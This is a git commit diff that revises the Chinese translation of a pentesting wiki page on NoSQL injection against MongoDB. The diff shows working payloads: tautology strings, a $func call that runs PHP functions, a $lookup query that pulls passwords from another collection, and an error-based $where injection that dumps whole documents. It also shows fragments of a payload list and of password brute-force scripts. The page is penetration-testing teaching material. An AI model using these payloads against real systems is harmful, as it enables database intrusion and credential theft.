Translated ['src/pentesting-web/nosql-injection.md'] to zh

This commit is contained in:
Translator 2025-07-08 19:35:01 +00:00
parent 5931731b5b
commit 6f606fdacb

View File

@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript
query = { $where: `this.username == '${username}'` }
```
攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点,使查询通过满足一个恒真条件(`'a'=='a'`)返回所有文档。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,输入如 `' || 1==1//``' || 1==1%00``admin' || 'a'=='a`
攻击者可以通过输入`admin' || 'a'=='a` 这样的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用 `' || 1==1//``' || 1==1%00``admin' || 'a'=='a` 这样的输入进行类似的注入
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -78,7 +78,7 @@ in JSON
```
### PHP 任意函数执行
使用 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符(默认使用),可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所
使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符,可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所
```python
"user":{"$func": "var_dump"}
```
@ -86,9 +86,9 @@ in JSON
### 从不同集合获取信息
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取所有与通配符匹配的密码的 **条目结果**。
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,`$lookup` 和其他聚合函数才可用,而不是更常用的 `find()``findOne()` 函数。
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,才能使用 `$lookup` 和其他聚合函数,而不是更常用的 `find()``findOne()` 函数。
```json
[
{
@ -108,9 +108,15 @@ in JSON
}
]
```
### 基于错误的注入
`$where` 子句中注入 `throw new Error(JSON.stringify(this))` 以通过服务器端 JavaScript 错误导出完整文档(需要应用程序泄露数据库错误)。示例:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Payloads
列表 [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -176,7 +182,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### 从POST登录进行暴力破解登录用户名和密码
### 从POST登录进行暴力破解用户名和密码
这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成此任务。
```python
@ -229,5 +235,6 @@ get_password(u)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
{{#include ../banners/hacktricks-training.md}}